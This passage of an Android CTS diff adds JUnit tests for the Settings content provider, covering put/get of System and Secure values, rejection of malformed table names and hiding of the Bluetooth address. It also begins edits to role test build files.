+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SettingsTest {
+    @BeforeClass
+    public static void setUp() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings allow");
+
+        // Wait a beat to persist the change
+        SystemClock.sleep(500);
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings default");
+    }
+
+    @Test
+    public void testSystemTable() throws RemoteException {
+        final String[] SYSTEM_PROJECTION = new String[] {
+                Settings.System._ID, Settings.System.NAME, Settings.System.VALUE
+        };
+        final int NAME_INDEX = 1;
+        final int VALUE_INDEX = 2;
+
+        String name = Settings.System.NEXT_ALARM_FORMATTED;
+        String insertValue = "value_insert";
+        String updateValue = "value_update";
+
+        // get provider
+        ContentResolver cr = getContext().getContentResolver();
+        ContentProviderClient provider =
+                cr.acquireContentProviderClient(Settings.System.CONTENT_URI);
+        Cursor cursor = null;
+
+        try {
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(Settings.System.NAME, name);
+            value.put(Settings.System.VALUE, insertValue);
+
+            provider.insert(Settings.System.CONTENT_URI, value);
+            cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
+                    Settings.System.NAME + "=\"" + name + "\"", null, null, null);
+            assertNotNull(cursor);
+            assertEquals(1, cursor.getCount());
+            assertTrue(cursor.moveToFirst());
+            assertEquals(name, cursor.getString(NAME_INDEX));
+            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+            cursor = null;
+
+            // Test: update
+            value.clear();
+            value.put(Settings.System.NAME, name);
+            value.put(Settings.System.VALUE, updateValue);
+
+            provider.update(Settings.System.CONTENT_URI, value,
+                    Settings.System.NAME + "=\"" + name + "\"", null);
+            cursor = provider.query(Settings.System.CONTENT_URI, SYSTEM_PROJECTION,
+                    Settings.System.NAME + "=\"" + name + "\"", null, null, null);
+            assertNotNull(cursor);
+            assertEquals(1, cursor.getCount());
+            assertTrue(cursor.moveToFirst());
+            assertEquals(name, cursor.getString(NAME_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+            cursor = null;
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+    }
+
+    @Test
+    public void testSecureTable() throws Exception {
+        final String[] SECURE_PROJECTION = new String[] {
+                Settings.Secure._ID, Settings.Secure.NAME, Settings.Secure.VALUE
+        };
+
+        ContentResolver cr = getContext().getContentResolver();
+        ContentProviderClient provider =
+                cr.acquireContentProviderClient(Settings.Secure.CONTENT_URI);
+        assertNotNull(provider);
+
+        // Test that the secure table can be read from.
+        Cursor cursor = null;
+        try {
+            cursor = provider.query(Settings.Global.CONTENT_URI, SECURE_PROJECTION,
+                    Settings.Global.NAME + "=\"" + Settings.Global.ADB_ENABLED + "\"",
+                    null, null, null);
+            assertNotNull(cursor);
+        } finally {
+            if (cursor != null) {
+                cursor.close();
+            }
+        }
+    }
+
+    private static final String[] SELECT_VALUE =
+        new String[] { Settings.NameValueTable.VALUE };
+    private static final String NAME_EQ_PLACEHOLDER = "name=?";
+
+    private void tryBadTableAccess(String table, String goodtable, String name) {
+        ContentResolver cr = getContext().getContentResolver();
+
+        Uri uri = Uri.parse("content://settings/" + table);
+        ContentValues cv = new ContentValues();
+        cv.put("name", "name");
+        cv.put("value", "xxxTESTxxx");
+
+        try {
+            cr.insert(uri, cv);
+            fail("SettingsProvider didn't throw IllegalArgumentException for insert name "
+                    + name + " at URI " + uri);
+        } catch (IllegalArgumentException e) {
+            /* ignore */
+        }
+
+        try {
+            cr.update(uri, cv, NAME_EQ_PLACEHOLDER, new String[]{name});
+            fail("SettingsProvider didn't throw SecurityException for update name "
+                    + name + " at URI " + uri);
+        } catch (IllegalArgumentException e) {
+            /* ignore */
+        }
+
+        try {
+            cr.query(uri, SELECT_VALUE, NAME_EQ_PLACEHOLDER,
+                    new String[]{name}, null);
+            fail("SettingsProvider didn't throw IllegalArgumentException for query name "
+                    + name + " at URI " + uri);
+        } catch (IllegalArgumentException e) {
+            /* ignore */
+        }
+
+
+        try {
+            cr.delete(uri, NAME_EQ_PLACEHOLDER, new String[]{name});
+            fail("SettingsProvider didn't throw IllegalArgumentException for delete name "
+                    + name + " at URI " + uri);
+        } catch (IllegalArgumentException e) {
+            /* ignore */
+        }
+
+
+        String mimeType = cr.getType(uri);
+        assertNull("SettingsProvider didn't return null MIME type for getType at URI "
+                + uri, mimeType);
+
+        uri = Uri.parse("content://settings/" + goodtable);
+        try {
+            Cursor c = cr.query(uri, SELECT_VALUE, NAME_EQ_PLACEHOLDER,
+                    new String[]{name}, null);
+            assertNotNull(c);
+            String value = c.moveToNext() ? c.getString(0) : null;
+            if ("xxxTESTxxx".equals(value)) {
+                fail("Successfully modified " + name + " at URI " + uri);
+            }
+            c.close();
+        } catch (SQLiteException e) {
+            // This is fine.
+        }
+    }
+
+    @Test
+    public void testAccessNonTable() {
+        tryBadTableAccess("SYSTEM", "system", "install_non_market_apps");
+        tryBadTableAccess("SECURE", "secure", "install_non_market_apps");
+        tryBadTableAccess(" secure", "secure", "install_non_market_apps");
+        tryBadTableAccess("secure ", "secure", "install_non_market_apps");
+        tryBadTableAccess(" secure ", "secure", "install_non_market_apps");
+    }
+
+    @Test
+    public void testUserDictionarySettingsExists() throws RemoteException {
+        final Intent intent = new Intent(Settings.ACTION_USER_DICTIONARY_SETTINGS);
+        final ResolveInfo ri = getContext().getPackageManager().resolveActivity(
+                intent, PackageManager.MATCH_DEFAULT_ONLY);
+        assertTrue(ri != null);
+    }
+
+    @Test
+    public void testNoStaleValueModifiedFromSameProcess() throws Exception {
+        final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
+                Settings.System.VIBRATE_WHEN_RINGING);
+        try {
+            for (int i = 0; i < 100; i++) {
+                final int expectedValue = i % 2;
+                Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+                        Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
+                final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
+                        Settings.System.VIBRATE_WHEN_RINGING);
+                assertSame("Settings write must be atomic", expectedValue, actualValue);
+            }
+        } finally {
+            Settings.System.putInt(getContext().getContentResolver(),
+                    Settings.System.VIBRATE_WHEN_RINGING, initialValue);
+        }
+    }
+
+    @Test
+    public void testNoStaleValueModifiedFromOtherProcess() throws Exception {
+        final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
+                Settings.System.VIBRATE_WHEN_RINGING);
+        try {
+            for (int i = 0; i < 20; i++) {
+                final int expectedValue = i % 2;
+                SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
+                        +  Settings.System.VIBRATE_WHEN_RINGING + " " + expectedValue);
+                final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
+                        Settings.System.VIBRATE_WHEN_RINGING);
+                assertSame("Settings write must be atomic", expectedValue, actualValue);
+            }
+        } finally {
+            Settings.System.putInt(getContext().getContentResolver(),
+                    Settings.System.VIBRATE_WHEN_RINGING, initialValue);
+        }
+    }
+
+    @Test
+    public void testNoStaleValueModifiedFromMultipleProcesses() throws Exception {
+        final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
+                Settings.System.VIBRATE_WHEN_RINGING);
+        try {
+            for (int i = 0; i < 20; i++) {
+                final int expectedValue = i % 2;
+                final int unexpectedValue = (i + 1) % 2;
+                Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+                        Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
+                SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
+                        +  Settings.System.VIBRATE_WHEN_RINGING + " " + unexpectedValue);
+                Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+                        Settings.System.VIBRATE_WHEN_RINGING, expectedValue);
+                final int actualValue = Settings.System.getInt(getContext().getContentResolver(),
+                        Settings.System.VIBRATE_WHEN_RINGING);
+                assertSame("Settings write must be atomic", expectedValue, actualValue);
+            }
+        } finally {
+            Settings.System.putInt(getContext().getContentResolver(),
+                    Settings.System.VIBRATE_WHEN_RINGING, initialValue);
+        }
+    }
+
+    @Test
+    public void testUriChangesUpdatingFromDifferentProcesses() throws Exception {
+        final int initialValue = Settings.System.getInt(getContext().getContentResolver(),
+                Settings.System.VIBRATE_WHEN_RINGING);
+
+        HandlerThread handlerThread = new HandlerThread("MyThread");
+        handlerThread.start();
+
+        CountDownLatch uriChangeCount = new CountDownLatch(4);
+        Uri uri = Settings.System.getUriFor(Settings.System.VIBRATE_WHEN_RINGING);
+        getContext().getContentResolver().registerContentObserver(uri,
+                false, new ContentObserver(new Handler(handlerThread.getLooper())) {
+                    @Override
+                    public void onChange(boolean selfChange) {
+                        uriChangeCount.countDown();
+                    }
+                });
+
+        try {
+            final int anotherValue = initialValue == 1 ? 0 : 1;
+            Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+                    Settings.System.VIBRATE_WHEN_RINGING, anotherValue);
+            SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
+                    +  Settings.System.VIBRATE_WHEN_RINGING + " " + initialValue);
+            Settings.System.putInt(getInstrumentation().getContext().getContentResolver(),
+                    Settings.System.VIBRATE_WHEN_RINGING, anotherValue);
+            Settings.System.getInt(getContext().getContentResolver(),
+                    Settings.System.VIBRATE_WHEN_RINGING);
+            SystemUtil.runShellCommand(getInstrumentation(), "settings put system "
+                    +  Settings.System.VIBRATE_WHEN_RINGING + " " + initialValue);
+
+            uriChangeCount.await(30000, TimeUnit.MILLISECONDS);
+
+            if (uriChangeCount.getCount() > 0) {
+                fail("Expected change not received for Uri: " + uri);
+            }
+        } finally {
+            Settings.System.putInt(getContext().getContentResolver(),
+                    Settings.System.VIBRATE_WHEN_RINGING, initialValue);
+            handlerThread.quit();
+        }
+    }
+
+    private Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    private Context getContext() {
+        return InstrumentationRegistry.getTargetContext();
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_NameValueTableTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_NameValueTableTest.java
new file mode 100644
index 0000000..d2dbc52
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_NameValueTableTest.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.provider.Settings.NameValueTable;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_NameValueTableTest {
+    @BeforeClass
+    public static void setUp() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings allow");
+
+        // Wait a beat to persist the change
+        SystemClock.sleep(500);
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings default");
+    }
+
+    @Test
+    public void testPutString() {
+        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
+        Uri uri = Settings.System.CONTENT_URI;
+        String name = Settings.System.NEXT_ALARM_FORMATTED;
+        String value = "value1";
+
+        // before putString
+        Cursor c = cr.query(uri, null, null, null, null);
+        try {
+            assertNotNull(c);
+            c.close();
+
+            MyNameValueTable.putString(cr, uri, name, value);
+            c = cr.query(uri, null, null, null, null);
+            assertNotNull(c);
+            c.close();
+
+            // query this row
+            String selection = NameValueTable.NAME + "=\"" + name + "\"";
+            c = cr.query(uri, null, selection, null, null);
+            assertNotNull(c);
+            assertEquals(1, c.getCount());
+            c.moveToFirst();
+            assertEquals(name, c.getString(c.getColumnIndexOrThrow(NameValueTable.NAME)));
+            assertEquals(value, c.getString(c.getColumnIndexOrThrow(NameValueTable.VALUE)));
+            c.close();
+        } finally {
+            // TODO should clean up more better
+            c.close();
+        }
+    }
+
+    @Test
+    public void testGetUriFor() {
+        Uri uri = Uri.parse("content://authority/path");
+        String name = "table";
+
+        Uri res = NameValueTable.getUriFor(uri, name);
+        assertNotNull(res);
+        assertEquals(Uri.withAppendedPath(uri, name), res);
+    }
+
+    private static class MyNameValueTable extends NameValueTable {
+        protected static boolean putString(ContentResolver resolver, Uri uri, String name,
+                String value) {
+            return NameValueTable.putString(resolver, uri, name, value);
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SecureTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SecureTest.java
new file mode 100644
index 0000000..fd84677
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SecureTest.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.content.ContentResolver;
+import android.database.Cursor;
+import android.net.Uri;
+import android.provider.Settings;
+import android.provider.Settings.Secure;
+import android.provider.Settings.SettingNotFoundException;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SecureTest {
+
+    private static final String NO_SUCH_SETTING = "NoSuchSetting";
+
+    /**
+     * Setting that will have a string value to trigger SettingNotFoundException caused by
+     * NumberFormatExceptions for getInt, getFloat, and getLong.
+     */
+    private static final String STRING_VALUE_SETTING = Secure.ANDROID_ID;
+
+    private ContentResolver cr;
+
+    @Before
+    public void setUp() throws Exception {
+        cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+        assertNotNull(cr);
+        assertSettingsForTests();
+    }
+
+    /** Check that the settings that will be used for testing have proper values. */
+    private void assertSettingsForTests() {
+        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+        String value = Secure.getString(cr, STRING_VALUE_SETTING);
+        assertNotNull(value);
+        try {
+            Integer.parseInt(value);
+            fail("Shouldn't be able to parse this setting's value for later tests.");
+        } catch (NumberFormatException expected) {
+        }
+    }
+
+    @Test
+    public void testGetDefaultValues() {
+        assertEquals(10, Secure.getInt(cr, "int", 10));
+        assertEquals(20, Secure.getLong(cr, "long", 20));
+        assertEquals(30.0f, Secure.getFloat(cr, "float", 30), 0.001);
+    }
+
+    @Test
+    public void testGetPutInt() {
+        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+        try {
+            Secure.putInt(cr, NO_SUCH_SETTING, -1);
+            fail("SecurityException should have been thrown!");
+        } catch (SecurityException expected) {
+        }
+
+        try {
+            Secure.getInt(cr, NO_SUCH_SETTING);
+            fail("SettingNotFoundException should have been thrown!");
+        } catch (SettingNotFoundException expected) {
+        }
+
+        try {
+            Secure.getInt(cr, STRING_VALUE_SETTING);
+            fail("SettingNotFoundException should have been thrown!");
+        } catch (SettingNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testGetPutFloat() throws SettingNotFoundException {
+        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+        try {
+            Secure.putFloat(cr, NO_SUCH_SETTING, -1);
+            fail("SecurityException should have been thrown!");
+        } catch (SecurityException expected) {
+        }
+
+        try {
+            Secure.getFloat(cr, NO_SUCH_SETTING);
+            fail("SettingNotFoundException should have been thrown!");
+        } catch (SettingNotFoundException expected) {
+        }
+
+        try {
+            Secure.getFloat(cr, STRING_VALUE_SETTING);
+            fail("SettingNotFoundException should have been thrown!");
+        } catch (SettingNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testGetPutLong() {
+        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+        try {
+            Secure.putLong(cr, NO_SUCH_SETTING, -1);
+            fail("SecurityException should have been thrown!");
+        } catch (SecurityException expected) {
+        }
+
+        try {
+            Secure.getLong(cr, NO_SUCH_SETTING);
+            fail("SettingNotFoundException should have been thrown!");
+        } catch (SettingNotFoundException expected) {
+        }
+
+        try {
+            Secure.getLong(cr, STRING_VALUE_SETTING);
+            fail("SettingNotFoundException should have been thrown!");
+        } catch (SettingNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testGetPutString() {
+        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+
+        try {
+            Secure.putString(cr, NO_SUCH_SETTING, "-1");
+            fail("SecurityException should have been thrown!");
+        } catch (SecurityException expected) {
+        }
+
+        assertNotNull(Secure.getString(cr, STRING_VALUE_SETTING));
+
+        assertNull(Secure.getString(cr, NO_SUCH_SETTING));
+    }
+
+    @Test
+    public void testGetUriFor() {
+        String name = "table";
+
+        Uri uri = Secure.getUriFor(name);
+        assertNotNull(uri);
+        assertEquals(Uri.withAppendedPath(Secure.CONTENT_URI, name), uri);
+    }
+
+    @Test
+    public void testUnknownSourcesOnByDefault() throws SettingNotFoundException {
+        assertEquals("install_non_market_apps is deprecated. Should be set to 1 by default.",
+                1, Settings.Secure.getInt(cr, Settings.Global.INSTALL_NON_MARKET_APPS));
+    }
+
+    private static final String BLUETOOTH_MAC_ADDRESS_SETTING_NAME = "bluetooth_address";
+
+    /**
+     * Asserts that the secure setting containing the Android's Bluetooth MAC address is not
+     * available to non-privileged apps, such as the CTS test app in the context of which this test
+     * runs.
+     */
+    @Test
+    public void testBluetoothAddressNotAvailable() {
+        assertNull(Settings.Secure.getString(cr, BLUETOOTH_MAC_ADDRESS_SETTING_NAME));
+
+        // Assert this setting is not accessible when listing all settings
+        try (Cursor c = cr.query(Settings.Secure.CONTENT_URI, null, null, null, null)) {
+            while ((c != null) && (c.moveToNext())) {
+                String name = c.getString(1);
+                if (BLUETOOTH_MAC_ADDRESS_SETTING_NAME.equals(name)) {
+                    fail("Settings.Secure contains " + name + ": " + c.getString(2));
+                }
+            }
+        }
+
+        // Assert this setting is not accessible when listing this specific setting
+        Uri settingUri =
+                Settings.Secure.CONTENT_URI.buildUpon().appendPath("bluetooth_address").build();
+        try (Cursor c = cr.query(settingUri, null, null, null, null)) {
+            while ((c != null) && (c.moveToNext())) {
+                String name = c.getString(1);
+                fail("Settings.Secure contains " + name + ": " + c.getString(2));
+            }
+        }
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SettingNotFoundExceptionTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SettingNotFoundExceptionTest.java
new file mode 100644
index 0000000..3fdf062
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SettingNotFoundExceptionTest.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import android.provider.Settings.SettingNotFoundException;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SettingNotFoundExceptionTest {
+    @Test
+    public void testConstructor() {
+        new SettingNotFoundException("Setting not found exception.");
+        new SettingNotFoundException(null);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
new file mode 100644
index 0000000..1af29a2
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.settings;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.content.ContentResolver;
+import android.content.res.Configuration;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.SystemClock;
+import android.provider.Settings;
+import android.provider.Settings.SettingNotFoundException;
+import android.provider.Settings.System;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class Settings_SystemTest {
+    private static final String INT_FIELD = System.END_BUTTON_BEHAVIOR;
+    private static final String LONG_FIELD = System.SCREEN_OFF_TIMEOUT;
+    private static final String FLOAT_FIELD = System.FONT_SCALE;
+    private static final String STRING_FIELD = System.NEXT_ALARM_FORMATTED;
+
+    @BeforeClass
+    public static void setUp() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings allow");
+
+        // Wait a beat to persist the change
+        SystemClock.sleep(500);
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        final String packageName = InstrumentationRegistry.getTargetContext().getPackageName();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "appops set " + packageName + " android:write_settings default");
+    }
+
+    @Test
+    public void testSystemSettings() throws SettingNotFoundException {
+        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
+        /**
+         * first query the existing settings in System table, and then insert four
+         * rows: an int, a long, a float, a String.
+         * Get these four rows to check whether insert succeeded and then restore the original
+         * values.
+         */
+
+        // first query existing rows
+        Cursor c = cr.query(System.CONTENT_URI, null, null, null, null);
+
+        // backup fontScale
+        Configuration cfg = new Configuration();
+        System.getConfiguration(cr, cfg);
+        float store = cfg.fontScale;
+
+        //store all original values
+        final String originalIntValue = System.getString(cr, INT_FIELD);
+        final String originalLongValue = System.getString(cr, LONG_FIELD);
+        final String originalStringValue = System.getString(cr, STRING_FIELD);
+
+        try {
+            assertNotNull(c);
+            c.close();
+
+            String stringValue = "cts";
+
+            // insert 4 rows, and update 1 rows
+            assertTrue(System.putInt(cr, INT_FIELD, 2));
+            assertTrue(System.putLong(cr, LONG_FIELD, 20l));
+            assertTrue(System.putFloat(cr, FLOAT_FIELD, 30.0f));
+            assertTrue(System.putString(cr, STRING_FIELD, stringValue));
+
+            c = cr.query(System.CONTENT_URI, null, null, null, null);
+            assertNotNull(c);
+            c.close();
+
+            // get these rows to assert
+            assertEquals(2, System.getInt(cr, INT_FIELD));
+            assertEquals(20l, System.getLong(cr, LONG_FIELD));
+            assertEquals(30.0f, System.getFloat(cr, FLOAT_FIELD), 0.001);
+            assertEquals(stringValue, System.getString(cr, STRING_FIELD));
+
+            c = cr.query(System.CONTENT_URI, null, null, null, null);
+            assertNotNull(c);
+
+            // update fontScale row
+            cfg = new Configuration();
+            cfg.fontScale = 1.2f;
+            assertTrue(System.putConfiguration(cr, cfg));
+
+            System.getConfiguration(cr, cfg);
+            assertEquals(1.2f, cfg.fontScale, 0.001);
+        } finally {
+            // TODO should clean up more better
+            c.close();
+
+            //Restore all original values into system
+            assertTrue(System.putString(cr, INT_FIELD, originalIntValue));
+            assertTrue(System.putString(cr, LONG_FIELD, originalLongValue));
+            assertTrue(System.putString(cr, STRING_FIELD, originalStringValue));
+
+            // restore the fontScale
+            try {
+                // Delay helps ActivityManager in completing its previous font-change processing.
+                Thread.sleep(1000);
+            } catch (Exception e){}
+
+            cfg.fontScale = store;
+            assertTrue(System.putConfiguration(cr, cfg));
+        }
+    }
+
+    @Test
+    public void testGetDefaultValues() {
+        final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+
+        assertEquals(10, System.getInt(cr, "int", 10));
+        assertEquals(20, System.getLong(cr, "long", 20l));
+        assertEquals(30.0f, System.getFloat(cr, "float", 30.0f), 0.001);
+    }
+
+    @Test
+    public void testGetUriFor() {
+        String name = "table";
+
+        Uri uri = System.getUriFor(name);
+        assertNotNull(uri);
+        assertEquals(Uri.withAppendedPath(System.CONTENT_URI, name), uri);
+    }
+}
diff --git a/tests/tests/renderscript/OWNERS b/tests/tests/renderscript/OWNERS
new file mode 100644
index 0000000..d61905a
--- /dev/null
+++ b/tests/tests/renderscript/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 43047
+include platform/frameworks/rs:/OWNERS
diff --git a/tests/tests/role/Android.bp b/tests/tests/role/Android.bp
index ac8d967..7a97ed0 100644
--- a/tests/tests/role/Android.bp
+++ b/tests/tests/role/Android.bp
@@ -17,19 +17,25 @@
     sdk_version: "test_current",
 
     srcs: [
-        "src/**/*.java"
+        "src/**/*.java",
     ],
 
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
-        "truth-prebuilt"
+        "truth-prebuilt",
     ],
 
     test_suites: [
         "cts",
         "vts",
         "general-tests",
-    ]
+        "mts",
+    ],
+
+    data: [
+        ":CtsRoleTestApp",
+        ":CtsRoleTestApp28",
+    ],
 }
diff --git a/tests/tests/role/CtsRoleTestApp/Android.bp b/tests/tests/role/CtsRoleTestApp/Android.bp
index 74c1b76..ac9a6c1 100644
--- a/tests/tests/role/CtsRoleTestApp/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp/Android.bp
@@ -19,10 +19,4 @@
     srcs: [
         "src/**/*.java"
     ],
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-    ]
 }
diff --git a/tests/tests/role/CtsRoleTestApp28/Android.bp b/tests/tests/role/CtsRoleTestApp28/Android.bp
index 0d89f4e..0e82deb 100644
--- a/tests/tests/role/CtsRoleTestApp28/Android.bp
+++ b/tests/tests/role/CtsRoleTestApp28/Android.bp
@@ -19,10 +19,4 @@
     srcs: [
         "src/**/*.java"
     ],
-
-    test_suites: [
-        "cts",
-        "vts",
-        "general-tests",
-    ]
 }
diff --git a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
index 0da6988..08fd3d3 100644
--- a/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
+++ b/tests/tests/role/src/android/app/role/cts/RoleManagerTest.java
@@ -19,9 +19,13 @@
 import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObjectOrNull;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.AppOpsManager;
@@ -35,13 +39,13 @@
 import android.content.pm.PermissionInfo;
 import android.os.Process;
 import android.os.UserHandle;
+import android.provider.Settings;
 import android.provider.Telephony;
 import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
+import android.support.test.uiautomator.UiObjectNotFoundException;
 import android.telecom.TelecomManager;
-import android.util.Log;
 import android.util.Pair;
 
 import androidx.annotation.NonNull;
@@ -54,6 +58,7 @@
 import com.android.compatibility.common.util.AppOpsUtils;
